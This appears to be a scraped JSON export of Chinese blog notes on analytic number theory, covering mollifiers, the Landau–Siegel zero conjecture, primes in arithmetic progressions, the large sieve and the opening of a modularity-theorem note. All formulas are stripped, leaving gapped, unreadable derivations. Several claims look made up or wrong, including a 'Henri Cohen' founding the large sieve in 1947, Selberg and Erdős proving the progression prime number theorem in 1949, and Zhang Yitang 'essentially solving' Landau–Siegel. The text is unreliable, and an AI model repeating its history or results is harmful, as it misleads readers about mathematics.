高维推广：四维以上流形的几何化纲领面临根本性障碍，是否存在类似里奇流的几何演化方程？ 此外，佩雷尔曼工作中使用的 解分类、稳定性定理等关键结果，其简化证明和推广仍是当前研究热点。近年来有学者尝试将奇点手术技术应用于物理问题，例如黑洞形成的几何模型，展现出这一数学方法的跨学科潜力。 从庞加莱最初的拓扑直观，到瑟斯顿的几何化愿景，再到佩雷尔曼通过里奇流与奇点手术的完美实现，这段百年探索历程不仅解决了一个数学难题，更深刻揭示了几何与拓扑之间的内在联系。当我们站在三维流形分类问题已经解决的今天，回望这一伟大思想的演进，或许能更好地理解数学创造中直觉、严格与美感的永恒追求。而佩雷尔曼拒绝接受菲尔兹奖与千禧奖的选择，更凸显了纯粹数学探索中超越世俗评价的精神高度。"},{"title":"","date":"2026-01-13T22:07:00.000Z","updated":"2026-01-13T22:10:00.000Z","comments":true,"path":"notes/Zeta/111.html","permalink":"https://blog.mhuig.top/notes/Zeta/111","excerpt":"","text":"先磨光再解析延拓 先磨光再解析延拓：从技术改进到理论突破的分析方法 在数学分析与解析数论的交界处，函数的不连续性与积分收敛性的矛盾长期阻碍着理论进展。以 Perron 公式 为例，其原始形式为 其中 是 Dirichlet 级数，右侧积分因被积函数在整点处的跳跃而无法绝对收敛。类似地，小数部分函数 的 Fourier 展开 同样因收敛性问题难以直接应用。磨光技术通过引入光滑权重函数消除不连续性，为解析延拓铺平道路，这种 “先处理局部正则性再拓展整体定义域” 的思想，已成为现代分析的核心方法之一。 历史脉络：从收敛性困境到磨光思想的诞生19 世纪末，黎曼在研究 函数时首次面临解析延拓的挑战，其原始定义 仅在 收敛。为突破这一限制，他通过构造围道积分得到函数方程 ，但过程中需处理复杂的留数计算。20 世纪初，兰道（E. Landau） 在素数定理证明中使用带权 Perron 公式 首次引入指数衰减权重 改善积分收敛性。这一技术在 1930 年代被维诺格拉多夫（I. M. Vinogradov） 推广至指数和估计，而 1960 年代蒙哥马利（H. L. Montgomery） 则通过紧支光滑函数将 Dirichlet 多项式均值估计的适用范围从 拓展至 ，标志着磨光技术的成熟。 磨光技术的数学基础：从构造到性质核心定义与分类磨光函数（mollifier）是一类具有良好光滑性和衰减性的权重函数，其核心作用是 “抚平” 被研究函数的不连续点。设 是满足以下条件的函数： 紧支性： （或其他有界区间）； 光滑性： （任意阶可导）； 规范性： 。 典型例子包括高斯函数 （在 内非零）和紧支多项式函数。通过与被研究函数 作卷积 可得到磨光序列 ，其在 时依某种拓扑收敛于 。 关键定理：磨光的收敛性与正则性定理（磨光核的逼近性质） 若 （ ），则 当 。特别地，若 在 处连续，则 。 证明：由 的规范性，有 对任意 ，将积分拆分为 和 两部分。前者利用 的连续性控制，后者通过 的可积性与 的紧支性估计，最终得证。 在数论中，更常用离散磨光技术。例如对部分和 ，引入权重 （如 或 ）构造带权和 ，通过 的光滑性改善后续分析。 解析延拓的实现：从带权积分到函数方程Perron 公式的磨光改良原始 Perron 公式因 Heaviside 函数 的不连续性导致积分收敛缓慢。通过引入磨光权重 ，可将其改写为 其中 是 的 Mellin 变换。若 且各阶导数在无穷远处指数衰减，则 在 时满足 ，确保积分绝对收敛。例如取 ，则 ，此时公式退化为兰道形式。 从磨光和到解析延拓的路径以 函数为例，其 Dirichlet 级数在 收敛。引入磨光权重 ，构造带权和 右侧第一项为 ，第二项因 的光滑性可延拓至 （ 为 的可微阶数）。通过解析延拓的唯一性（若两个解析函数在某区域重合，则在公共定义域内恒等），可将 延拓至全平面除 外的区域。 典型应用：数论问题中的磨光 - 延拓策略1. Dirichlet 多项式的二次均值估计考虑 Dirichlet 多项式 ，其二次均值 的直接估计受限于 。引入磨光函数 后，通过 Parseval 公式可得 当 取紧支光滑函数时，误差项可改进为 ，使适用范围拓展至 。 2. 素数定理的简化证明传统证明中，Chebyshev 函数 的积分表达式含发散项。通过磨光技术，构造 （ 为 Möbius 函数），其对应的 Perron 积分因 的光滑性绝对收敛。结合 函数的零点分布，可直接得到 ，进而推出素数定理 。 技术挑战与前沿方向尽管磨光技术已广泛应用，但最优权重选择仍是未解问题。例如在 函数上界估计中，不同磨光函数导致余项阶数差异可达 。此外，当被积函数具有无穷多个奇点（如 的非平凡零点）时，磨光后的积分路径变形需更精细的误差控制。未来研究可能结合机器学习优化磨光核设计，或通过非交换调和分析拓展至自守形式领域。 从黎曼的原始探索到现代解析数论的精密论证，“先磨光再解析延拓” 的方法论始终扮演着桥梁角色。它不仅解决了收敛性的技术障碍，更揭示了 “局部正则化” 与 “整体延拓” 之间的深刻联系，“光滑性的代价是衰减，但这正是解析延拓所需要的通行证。” 这一思想在弦理论的正规化、偏微分方程的适定性等领域的跨界应用，预示着其将持续为数学物理的交叉研究提供动力。"},{"title":"","date":"2026-01-14T08:07:00.000Z","updated":"2026-01-14T08:10:00.000Z","comments":true,"path":"notes/Zeta/112.html","permalink":"https://blog.mhuig.top/notes/Zeta/112","excerpt":"","text":"朗道 - 西格尔零点猜想 朗道 - 西格尔零点猜想：从素数分布到解析数论的巅峰挑战 背景：素数分布与 L 函数的诞生1859 年，黎曼在研究素数分布时提出了著名的黎曼猜想，断言黎曼 函数的所有非平凡零点都位于复平面上 的直线上。这一猜想深刻影响了数论的发展，但为了研究更一般的等差数列上素数分布问题，德国数学家狄利克雷于 19 世纪引入了 Dirichlet 特征和 L 函数的概念。对于正整数 ，模 的 Dirichlet 特征是一个以 为周期的复值完全积性函数 ，满足当 时 。利用这类特征，狄利克雷构造了 Dirichlet L 函数： 这一函数成为研究等差数列素数分布的核心工具。狄利克雷证明了当 与 互素时，等差数列 中存在无穷多个素数，其关键就在于证明了对非平凡特征 ， 。 历史演进：从广义黎曼猜想到异常零点广义黎曼猜想与零点分布黎曼猜想的自然推广是广义黎曼猜想（GRH），它断言所有 Dirichlet L 函数的非平凡零点都位于 的临界线上。若 GRH 成立，则可得到带余项的等差数列素数定理：设 表示不超过 且模 余 的素数个数，则 其中 是对数积分函数 。然而，20 世纪初数学家们发现 L 函数的零点分布可能存在例外情况。通过改进 de la Vallée Poussin 的方法，人们证明了 L 函数的非平凡零点基本位于区域 其中 是常数， 是特征的模 。这一 “沙漏型” 区域是素数定理余项估计的基础，但德国数学家埃德蒙・朗道（Edmund Landau）发现了一个致命缺陷：当 为特殊类型的实特征时，其对应的 L 函数可能在上述区域外存在一个异常零点（exceptional zero）。 朗道与西格尔的开创性工作朗道证明了这类异常零点若存在，则具有三个关键性质：唯一性（每个 L 函数最多有一个）、实性（位于实轴上）和单重性（阶数为 1）。1930 年代，朗道的学生卡尔・路德维希・西格尔（Carl Ludwig Siegel）进一步研究了这些零点的分布，证明了对任意 ，存在常数 使得 L 函数的实零点 满足 这一结果被称为西格尔定理，它表明异常零点必须非常接近 。然而西格尔的证明中涉及非有效常数，无法确定 的具体值，这限制了其在数论问题中的应用。为了突破这一困境，数学家们提出：是否所有 Dirichlet L 函数都不存在异常零点？ 这一断言即成为朗道 - 西格尔零点猜想 。 严格定义：异常零点的数学刻画朗道 - 西格尔零点特指 Dirichlet L 函数在特定区域内的实零点。设 是模 的实原特征（real primitive character），即满足 且不诱导自任何更小模的特征，则 L 函数 的朗道 - 西格尔零点被定义为位于区域 内的实零点，其中 和 是绝对常数。更精确地说，猜想断言：对任意模 的实原特征 ，L 函数 在区间 内没有实零点，其中 是可有效计算的常数。 这一猜想与 L 函数在 处的值密切相关。若存在朗道 - 西格尔零点 ，则 必然非常小。反之，证明 的一个有效下界即可排除异常零点的存在。西格尔定理虽能证明 ，但常数的非有效性使其无法直接应用于素数定理的余项估计 。 关键推导：L 函数非零区域与零点分布Dirichlet 特征与 L 函数的解析性质Dirichlet 特征 具有周期性和完全积性，即 对所有整数 成立。模 的特征共有 个（ 是欧拉函数），其中平凡特征 满足 若 ，否则为 0。对非平凡特征，L 函数 在 上解析，且满足函数方程 其中 ， 或 取决于 的值 。这一函数方程揭示了 L 函数零点关于临界线 的对称性。 异常零点的存在性与 L (1, χ) 的下界假设存在朗道 - 西格尔零点 ，则可通过以下步骤推导矛盾： 构造辅助函数：考虑 及其导数 ，利用泰勒展开在 附近有 。 应用函数方程：将 代入函数方程，结合 函数的渐近性质，得到 与 的关系。 均值估计：对一族 L 函数的 进行平均，利用大筛法（large sieve）或离散均值估计（discrete mean estimates）证明其平均值不可能过小 。 张益唐在 2022 年的论文中采用了这一思路，通过引入新的离散均值估计方法，证明了存在绝对常数 使得 这一结果间接表明，模 的实原特征 L 函数在区间 内没有实零点 。虽然指数 远大于猜想中的 ，但这是首次得到的有效常数结果，为完全解决猜想开辟了道路。 张益唐的创新方法：从离散均值到零点间隙张益唐的证明核心是双重矛盾法：首先假设存在朗道 - 西格尔零点，从而推出 异常小；然后通过构造一族辅助 L 函数，证明其零点分布的离散均值会导致矛盾。具体步骤包括： L 函数零点间隙估计：证明在临界线附近，L 函数的零点之间存在正间隙，这排除了零点聚集的可能性。 大筛型均值估计：对特征族 计算和式 ，利用复变积分和特征正交性证明该和式有界。 矛盾导出：若 过小，则上述均值会发散，从而反证异常零点不存在。 这一方法借鉴了他在孪生素数猜想中使用的 “有界间隙” 思想，但在技术上更为复杂，需要同时处理 L 函数的解析延拓、特征和估计以及零点分布等多个层次的问题。 应用与意义：从素数定理到数学基础等差数列素数定理的余项改进朗道 - 西格尔猜想的直接应用是等差数列素数定理的有效误差估计。若猜想成立，则可得到 对所有 （ ）一致成立 。这一结果比经典的 Siegel-Walfisz 定理更强，后者要求 且常数非有效 。张益唐的部分结果已能将 的范围扩大到 ，这对解析数论中的堆垒问题（如哥德巴赫猜想）具有重要意义 。 对广义黎曼猜想的影响朗道 - 西格尔零点被称为 广义黎曼猜想的最小反例 。若存在这样的零点，则 GRH 不成立，这将导致数学界超过千条以 GRH 为前提的命题失效。反之，证明朗道 - 西格尔猜想不存在则为 GRH 提供了强有力的支持，尤其是对实特征 L 函数这一最可能出现反例的情形。值得注意的是，张益唐明确表示其结果 “部分解决了黎曼假设应该是对的”，排除了直接否定 GRH 的可能性 。 解析数论的新工具与方法论突破张益唐的工作不仅推进了猜想本身，更创造了离散均值估计这一新工具。这一方法将大筛法、圆法与 L 函数零点分布相结合，为研究自守 L 函数、椭圆曲线 L 函数等更一般的对象提供了新思路。例如，他的结果已被用于改进椭圆曲线 BSD 猜想中解析秩的估计。此外，证明中对 “有效常数” 的追求突破了西格尔定理非构造性的局限，使数论问题的定量研究成为可能。 历史与未来：从朗道到张益唐的百年探索朗道 - 西格尔猜想的研究历程充满传奇：西格尔在 1930 年代利用二次型的类数公式得到非有效下界；1970 年代 Goldfeld、Gross 和 Zagier 通过椭圆曲线的 BSD 猜想将结果改进为 ；而张益唐在 2022 年首次将指数改进为固定常数 。这一过程中，每一步突破都伴随着方法论的革新。 当前，数学界普遍认为张益唐的结果是 “本质上解决” 了猜想，尽管指数 可进一步缩小 。未来的研究方向包括： 改进指数：将 降至 ，以完全达到猜想要求。 推广至自守 L 函数：证明一般尖点自守表示的 L 函数无异常零点，这对 Langlands 纲领至关重要。 计算验证：通过数值计算寻找可能的异常零点，目前已验证所有模 的特征均无异常零点 。 “数论的美在于挑战人类智力的极限。” 朗道 - 西格尔零点猜想的探索，不仅是对数学真理的追求，更是对人类理性边界的永恒突破。当我们最终彻底证明这一猜想时，等差数列上的素数分布将不再有 “例外”，而黎曼猜想的正确性也将获得更坚实的基石。"},{"title":"","date":"2026-01-14T09:07:00.000Z","updated":"2026-01-14T09:10:00.000Z","comments":true,"path":"notes/Zeta/113.html","permalink":"https://blog.mhuig.top/notes/Zeta/113","excerpt":"","text":"等差数列上的素数分布 等差数列上的素数分布 背景与历史渊源素数在自然数中的分布规律是数论研究的核心课题之一。当数学家们观察素数序列 时，发现它们看似随机分布，却又蕴含着深刻的规律性。随着研究深入，一个自然的问题浮现：如果我们将视野限定在特定的等差数列中，素数的分布会呈现怎样的特征？例如，在数列 （即 型数）中，素数是否同样无穷多？它们的密度与全体自然数中的素数密度有何关联？ 这一问题的研究历史几乎与数论本身同样悠久。古希腊数学家欧几里得不仅证明了素数有无穷多个，还隐含地探讨了某些简单等差数列中的素数问题。然而，真正系统性的研究始于 19 世纪。1837 年，德国数学家约翰・彼得・古斯塔夫・勒热纳・狄利克雷（Johann Peter Gustav Lejeune Dirichlet）在他的开创性论文《论算术级数中的素数》中，首次严格证明了：若 和 是互素的正整数（即 ），则等差数列 中包含无穷多个素数。这一里程碑式的结果被后世称为狄利克雷定理，它不仅彻底解决了等差数列素数无穷性的基本问题，更为解析数论的发展奠定了基础，引入了后来被称为狄利克雷 L 函数的重要工具。 狄利克雷的工作之后，数学家们开始探索更精细的问题：等差数列中的素数不仅有无穷多个，它们的分布密度是否遵循某种统一规律？1896 年，阿达马（Jacques Hadamard）和普森（Charles Jean de la Vallée-Poussin）证明了素数定理，揭示了全体素数的渐近分布 ，其中 表示不超过 的素数个数。自然地，人们猜测等差数列中的素数也应有类似的渐近公式。这一猜测最终在 1923 年由哈代（G. H. Hardy）和利特尔伍德（J. E. Littlewood）在广义黎曼假设的条件下证明，并于 1949 年由塞尔伯格（Atle Selberg）和埃尔德什（Paul Erdős）在不依赖黎曼假设的情况下独立证明，形成了等差数列素数定理。 基本定义与预备知识核心概念界定等差数列（Arithmetic Progression）是指由首项 和公差 确定的序列 ，记作 。在数论中，我们通常关注公差 且首项 的等差数列。 互素条件：若 ，则数列中所有项均为 的倍数，因此除了可能的首项 本身是素数外，其余项均为合数。因此，只有当 与 互素时，等差数列才可能包含无穷多个素数。例如，数列 （即 ）中只有 2 是素数；而数列 （即 ，其中 ）则有无穷多个素数。 欧拉函数：对于正整数 ，欧拉函数 定义为小于 且与 互素的正整数的个数，即 。欧拉函数在等差数列素数分布中扮演关键角色，它决定了公差为 的等差数列中可行首项的数量（即模 的简化剩余系的大小）。 解析数论工具狄利克雷特征：为了研究等差数列中的素数，狄利克雷引入了特征函数的概念。模 的狄利克雷特征是一个从 到复数域的函数 ，满足以下条件：周期性： 对所有 成立；完全积性： 对所有 成立；非退化性： 当且仅当 。 模 的狄利克雷特征共有 个，其中主特征 定义为： 若若 主特征是唯一取值非零即 1 的特征，其余特征称为非主特征。 狄利克雷 L 函数：对每个狄利克雷特征 ，其对应的狄利克雷 L 函数定义为： 通过解析延拓，L 函数可以拓展到整个复平面（除 时在 处有单极点外）。L 函数与黎曼 函数 类似，其零点分布直接影响素数的分布性质。 素数计数函数的推广为了精确描述等差数列中的素数分布，我们引入等差数列素数计数函数： 其中 表示素数。当 时， 要么等于 0（若 不是素数），要么等于 1（若 是素数）。而当 时，狄利克雷定理断言 ，等差数列素数定理则进一步给出其渐近估计。 狄利克雷定理的证明框架狄利克雷定理的证明是解析数论的典范，其核心思想是将等差数列中的素数计数问题转化为对 L 函数的分析。以下是证明的关键步骤： 第一步：特征和与素数和的转换利用特征函数的正交性，我们可以将等差数列中的素数之和表示为特征和的形式。正交性指的是，对于模 的狄利克雷特征全体 ，有： 若否则 其中 是 在模 下的逆元（因 而存在）。 将此正交关系应用于素数计数函数，得到： 上式将 分解为对所有模 特征的求和。注意到主特征 对应的项为： 这是因为 。 第二步：非主特征项的估计对于非主特征 ，我们需要证明其对应的和式 是有界的，从而不会影响主项的渐近趋势。为此，考虑 L 函数的对数导数： 其中 是冯・曼戈尔特函数（定义为 若 ，否则为 0）。通过积分表示和复分析技巧（如 Perron 公式），可以将素数和与 L 函数的零点联系起来。 第三步：关键引理 L 函数在 s = 1 处非零狄利克雷证明的核心突破在于证明了：对所有非主特征 ，L 函数 。这一结论至关重要，因为若 ，则非主特征项可能会对主项产生抵消。 证明 的经典方法利用了以下不等式： 该不等式通过展示乘积的欧拉展开式中所有系数非负而得。若存在某个非主特征 使得 ，则当 时，乘积将趋于 0，与不等式矛盾。 第四步：综合结论结合以上步骤，我们得到： 低阶项 由于主项 随 而趋于无穷，因此 ，即等差数列 中有无穷多个素数。 等差数列素数定理的精确表述与推导渐近公式的严格形式等差数列素数定理（Prime Number Theorem for Arithmetic Progressions）给出了 的渐近估计：若 ，则 其中 是对数积分函数，满足 （由洛必达法则易证）。 更精确地，该定理可以表示为： 其中常数 与 和 无关。这一误差项与素数定理中的误差项类似，反映了素数分布的局部不规则性。 证明思路：大筛法与 Bombieri Vinogradov 定理等差数列素数定理的证明比狄利克雷定理更为复杂，需要更精细的解析工具。传统证明依赖于对 L 函数零点密度的估计，而 1965 年 Bombieri 和 Vinogradov 独立证明的 Bombieri Vinogradov 定理提供了一个不依赖广义黎曼假设的方法，其核心思想是对平均意义下的 给出一致估计： 对于任意固定的 和 成立。这一结果表明，对于大多数公差 ，等差数列素数定理的误差项在平均意义下很小。 等分布现象等差数列素数定理揭示了一个深刻的事实：在所有可行的等差数列（即 ）中，素数是等分布的。具体而言，对于固定的 ，所有与 互素的剩余类 包含的素数数量渐近相等，其密度均为全体素数密度的 。例如：当 时， ，剩余类 和 中的素数密度均为全体素数密度的 ；当 时， ，剩余类 和 中的素数密度也均为全体素数密度的 。这种等分布性是数论中无理性的体现: 素数没有偏好任何特定的互素剩余类。 应用与推广在密码学中的应用等差数列素数分布理论在密码学中具有重要应用。例如，RSA 公钥密码系统的安全性依赖于大素数的生成，而等差数列可以用于高效筛选素数。具体而言，通过选择适当的公差 和多个互素的首项 ，可以并行生成多个等差数列，从而在更大范围内搜索素数。此外，某些密码协议（如基于椭圆曲线的密码系统）的安全性证明也依赖于等差数列中素数的分布性质。 格林 陶定理：素数中的长等差数列2004 年，本・格林（Ben Green）和陶哲轩（Terence Tao）证明了一个震惊数学界的结果：存在任意长度的由素数组成的等差数列。这一结果被称为格林 陶定理，其证明融合了遍历理论、傅里叶分析和数论的深刻思想，本质上是等差数列素数分布理论的高阶推广。 格林 陶定理表明，素数序列虽然稀疏（密度趋于 0），但在结构上足够丰富，能够包含任意长的等差数列。例如，目前已知的最长素数等差数列长度为 27： 未解决问题：最小素数与哥德巴赫猜想尽管等差数列素数理论已取得丰硕成果，但仍有许多问题悬而未决。其中最著名的包括：最小素数问题：对于给定的 ，设 是最小的素数 。猜想 对任意 成立，但目前最好的结果是 （由 Baker, Harman 和 Pintz 证明）。哥德巴赫猜想的等差数列形式：是否每个充分大的偶数都可以表示为两个素数之和，且这两个素数属于给定的等差数列？这一问题将哥德巴赫猜想与等差数列素数分布结合，至今尚未解决。广义黎曼假设：若广义黎曼假设（GRH）成立，则可以证明 ，这将极大改进误差项估计。GRH 的证明将是数论领域的革命性突破。 总结与展望等差数列上的素数分布理论从狄利克雷定理到格林 陶定理，跨越近两个世纪，始终是数论研究的核心课题。它不仅深刻揭示了素数的随机与规律双重属性，更发展出解析数论的整套方法体系，包括狄利克雷特征、L 函数、大筛法等，这些工具已成为现代数学的基础。 从历史脉络看，这一领域的进展呈现出清晰的从定性到定量从特殊到一般的发展路径：狄利克雷定理回答了有无穷多的定性问题，等差数列素数定理给出了有多少的定量估计，而格林 陶定理则将结果推广到任意长等差数列的极端情形。每一步突破都伴随着新工具的发明和数学思想的深化。 展望未来，等差数列素数分布的研究仍将与其他数学分支（如代数数论、调和分析、概率数论）深度融合。特别是 L 函数零点分布、素数的局部统计规律、以及与随机矩阵理论的联系等方向，可能成为新的突破点。正如希尔伯特在 1900 年将黎曼假设列为 23 个世纪问题之一时所预言的，素数分布的奥秘将继续激励数学家们探索数论的未知边界，而等差数列中的素数，无疑将在这场探索中扮演核心角色。"},{"title":"","date":"2026-01-15T00:07:00.000Z","updated":"2026-01-15T00:10:00.000Z","comments":true,"path":"notes/Zeta/114.html","permalink":"https://blog.mhuig.top/notes/Zeta/114","excerpt":"","text":"大筛法 大筛法：从数论问题到现代分析的桥梁 大筛法是解析数论中一种极具威力的工具，其核心思想源于试图 “筛除” 不满足特定条件的整数集合，进而研究剩余集合的分布性质。这一方法最初由苏联数学家尤里・林尼克于 1941 年提出，旨在解决哥德巴赫猜想中的例外集问题。然而，真正将其发展为系统性理论的是法国数学家亨利・科恩，他在 1947 年的工作中引入了关键的分析技巧，将筛法从组合学框架转向分析学框架。随后，挪威数学家阿特勒・塞尔伯格通过引入二次型优化的思想，于 1960 年代极大地改进了大筛法的估计精度，使其成为研究素数分布、堆垒数论及模形式理论的重要工具。值得注意的是，大筛法的发展历程呈现出显著的跨学科特征，它不仅为数论问题提供了强大的技术支持，其背后的分析思想也深刻影响了调和分析与巴拿赫空间理论的发展。 历史背景与核心问题大筛法的诞生与数论中的经典问题密切相关。19 世纪中叶，伯恩哈德・黎曼建立了黎曼 函数与素数分布之间的深刻联系，但关于素数在算术级数中的分布问题（即狄利克雷定理的推广）仍存在诸多未解之谜。20 世纪上半叶，数学家们开始关注更一般的筛法问题：给定整数集合 与素数集合 ，如何估计集合 中不能被 中任何素数整除的元素个数。传统的埃拉托斯特尼筛法虽然直观，但在处理复杂集合时效率低下，尤其当需要同时考虑多个同余条件时，其估计精度往往无法满足理论需求。 林尼克在研究哥德巴赫猜想的例外集时首次提出了 “大筛法” 的雏形。他考虑的问题是：对于给定的 ，是否存在 ，使得当 时，区间 中必存在素数。为解决这一问题，林尼克引入了一种新的筛法思想，其核心区别于传统筛法的地方在于：它能够同时处理大量的同余条件，并给出非平凡的上界估计。科恩在 1947 年的突破性工作中，将林尼克的组合论证转化为傅里叶分析语言，证明了对于模 的所有 Dirichlet 特征 ，特征和 的平方均值可以被一个依赖于 和 的表达式控制。这一转化标志着大筛法从组合方法向分析方法的关键转变。 塞尔伯格于 1962 年的工作则代表了大筛法发展的另一个里程碑。他通过引入二次型的极小化技巧，将大筛法不等式的估计精度提升到了新的高度。塞尔伯格的核心洞察是将筛法问题转化为一个优化问题：在给定的线性约束下，最小化某个二次型的取值。这一方法不仅改进了大筛法的常数项，更重要的是，它揭示了大筛法与希尔伯特空间中正交性原理的深层联系，为后续的理论发展奠定了基础。 大筛法的定义与数学表述大筛法的数学定义可以从不同角度进行表述，其中最经典的表述涉及同余条件下的密度估计。设 是一个复数序列，通常满足 或 （表示元素是否属于被筛集合），但在一般理论中允许更广泛的复数值。设 是一个正整数，对于每个素数 ，给定 个模 的不同剩余类 。大筛法的基本问题是估计和式 的上界，其中 表示 中不满足任何同余条件 （对所有 和 ）的元素构成的集合。 为将上述问题转化为可计算的分析表达式，需要引入关键的密度参数。设 表示模 下被排除的剩余类的密度，定义平均密度 ，其中 是欧拉函数。科恩最初的大筛法不等式可以表述为：存在绝对常数 ，使得 其中 是集合 中元素的最大模。这一不等式的直观意义是：如果被排除的同余类密度 不接近 ，则剩余集合的大小可以被 控制。 现代大筛法的标准表述则采用更抽象的分析语言。设 是区间 上的一组点，满足任意两点间的距离至少为 （即 对 ）。对于周期为 的复值函数 ，大筛法不等式表述为 其中 是 的傅里叶系数， 。这一表述将同余条件转化为单位圆周上的点集分布问题，通过傅里叶分析建立了函数值在离散点集上的平方和与函数的 范数及傅里叶系数之间的联系。当 为三角多项式时，上述不等式转化为关于指数和的估计，这正是数论应用中的常见情形。 大筛法的分析学推导大筛法的分析学推导建立在傅里叶分析与二次型优化的基础上。以下将详细展示两种经典的推导方法：科恩的傅里叶分析方法与塞尔伯格的二次型方法。两种方法虽途径不同，但最终得到的估计在阶的意义上是等价的，均表明大筛法不等式的主项为 。 科恩的傅里叶分析方法考虑指数和 ，其中 是复常数， 。设 是 中满足 （ ）的点集，我们需要估计 的上界。 首先将 展开为二重和： 对 求和后交换求和顺序，得到 令 ，则内和变为 。当 时，该和等于点集 的基数 ；当 时，利用数论中的韦尔和估计，对于等距分布的点集 ，有 ，其中 是绝对常数。 因此， 应用柯西 - 施瓦茨不等式估计第二项，得到 注意到 ，而 （当 时）。综合上述估计，最终得到 在数论应用中，点集 通常对应于分数 （ ），此时点间距 ，点集基数 。代入后得到大筛法的经典估计 。 塞尔伯格的二次型方法塞尔伯格的推导基于变分原理，通过构造适当的二次型并求其极值来获得最优估计。考虑如下优化问题：在约束条件 下，最大化二次型 。 将 展开为 其中 是核函数。这是一个以 为核的二次型，其矩阵表示为 。根据瑞利商原理，二次型的最大值等于矩阵 的最大特征值。 塞尔伯格引入了正定核函数 的表示定理，证明存在非负测度 使得 。此时二次型可以表示为 。通过选择适当的 （如矩形测度），可以证明最大特征值的阶为 ，从而得到与科恩方法相同的估计阶。 值得注意的是，塞尔伯格方法的优势在于能够得到精确的常数项估计。通过选取最优的权函数，塞尔伯格证明了大筛法不等式中的常数 可以取为 ，这一结果在后续的应用中至关重要，尤其是在需要精确估计误差项的场景中。 大筛法的数论应用大筛法在数论中的应用极为广泛，从素数分布到堆垒数论，从模形式理论到解析数论的前沿问题，都能看到其身影。以下重点介绍三个具有代表性的应用：算术级数中的素数定理、哥德巴赫猜想的例外集估计以及模形式傅里叶系数的估计。 算术级数中的素数定理大筛法在算术级数素数分布问题中提供了关键工具。设 表示小于等于 且满足 的素数个数。狄利克雷定理断言当 时， ，但传统的证明无法给出有效的误差估计。利用大筛法，我们可以得到如下非平凡估计：对于 （其中 为常数），有 其中 是绝对常数。这一结果的证明核心在于对模 的特征和 应用大筛法估计，其中 是模 的非主特征。通过大筛法不等式，我们可以证明 结合特征正交性，这一不等式表明非主特征的贡献是次要的，从而主项由主特征决定，即 。 哥德巴赫猜想的例外集哥德巴赫猜想断言每个大于 2 的偶数都可以表示为两个素数之和。虽然该猜想尚未被完全证明，但大筛法为估计其例外集大小提供了有效途径。设 表示小于等于 且不能表示为两个素数之和的偶数个数。利用大筛法，我们可以证明 对某个 成立。 具体而言，考虑指数和 ，其中 表示素数。哥德巴赫猜想等价于对每个偶数 ， 中 的系数不为零。利用大筛法估计 ，可以得到表示为两个素数之和的偶数的密度估计，进而证明 对某个 成立。这一结果虽未完全解决哥德巴赫猜想，但表明例外集在渐近意义下是 “小” 的。 模形式傅里叶系数的估计在模形式理论中，大筛法被用于估计全纯模形式傅里叶系数的增长速度。设 是权为 的全纯尖形式，其傅里叶系数 满足拉马努金猜想（现已被德利涅证明）： 。大筛法为这一猜想提供了非平凡的逼近结果。通过考虑 的 函数 ，利用大筛法可以证明对任意 ，有 结合柯西 - 施瓦茨不等式，这一结果立即给出 ，这是在德利涅证明之前关于傅里叶系数增长速度的最佳结果。值得注意的是，当 时，这一估计与 BSD 猜想密切相关，因为椭圆曲线的 函数恰好对应权为 2 的模形式的 函数。 大筛法的现代发展与推广大筛法自 20 世纪中叶以来持续发展，其理论框架不断扩展，应用领域也从纯数论延伸到调和分析、组合数学甚至理论计算机科学。以下介绍两个重要的现代推广方向：加权大筛法与高维大筛法。 加权大筛法通过引入适当的权函数 ，将传统大筛法中的计数问题推广为加权计数问题 。这一推广使得大筛法能够处理具有非均匀分布的集合，例如素数集合（此时权函数可取为冯・曼戈尔特函数 ）。加权大筛法的关键是构造满足特定条件的权函数，使得权函数的傅里叶变换具有良好的衰减性质。Iwaniec 与 Pintz 在 1980 年代的工作中发展了一套系统的加权大筛法理论，成功将其应用于素数在短区间上的分布问题，证明了存在常数 ，使得对充分大的 ，区间 中必存在素数。 高维大筛法则将一维整数集合的筛法问题推广到高维格点集合。例如，考虑 中的格点 ，希望估计满足特定同余条件的格点个数。高维大筛法的核心挑战在于处理高维傅里叶变换带来的技术复杂性，以及建立高维点集的间距条件。近年来，Bourgain、Demeter 与 Guth 发展的 “线性筛分” 理论，结合离散限制性定理，在高维大筛法领域取得了突破，为解决诸如素数的线性方程表示问题提供了新的思路。 大筛法的现代发展呈现出两个显著趋势：一方面，它与调和分析、偏微分方程等领域的交叉日益加深，吸收了来自不同学科的思想方法；另一方面，其应用场景不断扩展，从传统的数论问题扩展到组合优化、密码学与理论计算机科学等领域。例如，在密码学中，大筛法被用于分析某些公钥密码系统的安全性，通过估计特定同余类中元素的分布来评估破解难度。 结语：大筛法的方法论意义大筛法的发展历程深刻体现了数学研究中不同分支的融合与创新。从林尼克的组合思想到科恩的傅里叶分析方法，再到塞尔伯格的二次型优化，每一次突破都源于对原有框架的超越与重构。这种跨学科的思维方式不仅推动了数论的发展，也为其他数学领域提供了宝贵的启示。 大筛法的核心思想，通过分析方法处理离散分布问题，在现代数学中具有普遍意义。它揭示了离散结构与连续分析之间的深刻联系，表明看似离散的数论问题可以通过连续的分析工具得到精确估计。这种思想方法的迁移能力，使得大筛法从一个专门的数论技巧发展成为一种具有普遍意义的数学方法。"},{"title":"","date":"2026-01-15T07:07:00.000Z","updated":"2026-01-15T07:10:00.000Z","comments":true,"path":"notes/Zeta/115.html","permalink":"https://blog.mhuig.top/notes/Zeta/115","excerpt":"","text":"模性定理 模性定理 模性定理，即谷山 - 志村 - 韦伊定理，是 20 世纪数论领域最深刻的结果之一，它建立了椭圆曲线与模形式之间的本质联系，彻底改变了数学研究的格局。这一定理的证明历程充满了戏剧性的转折，从两位日本数学家的初步猜想，到安德鲁・怀尔斯历时七年的秘密攻关，最终在 1999 年由 Breuil、Conrad、Diamond 和 Taylor 完成完整证明，其背后不仅是数学思想的突破，更交织着数学家们的命运与坚持。 历史背景与猜想的诞生模性定理的起源可追溯至 1955 年，当时日本数学家谷山丰在东京大学的一次研讨会上提出了一个大胆的猜想：有理数域上的椭圆曲线可能与模形式存在某种对应关系。这一想法最初被视为过于激进，因为椭圆曲线属于代数几何的研究对象，而模形式则是复分析领域的全纯函数，两者看似毫无关联。谷山丰与同事志村五郎随后展开系统研究，通过计算大量具体例子验证了猜想的合理性，并于 1957 年共同出版《现代数论》一书，初步阐述了他们的观点。 这一时期的日本数学界正处于战后重建阶段，顶尖学者多赴美国发展，年轻学者如谷山和志村只能依靠自学探索前沿领域。他们的合作始于一次偶然事件：志村五郎在图书馆借阅一本关键文献时，发现该书已被谷山丰借出，两人因此开始交流，竟发现彼此在同一问题上陷入相同困境。这种 \"英雄所见略同\" 的巧合催生了数学史上最重要的合作之一。 悲剧性的转折发生在 1958 年 11 月 17 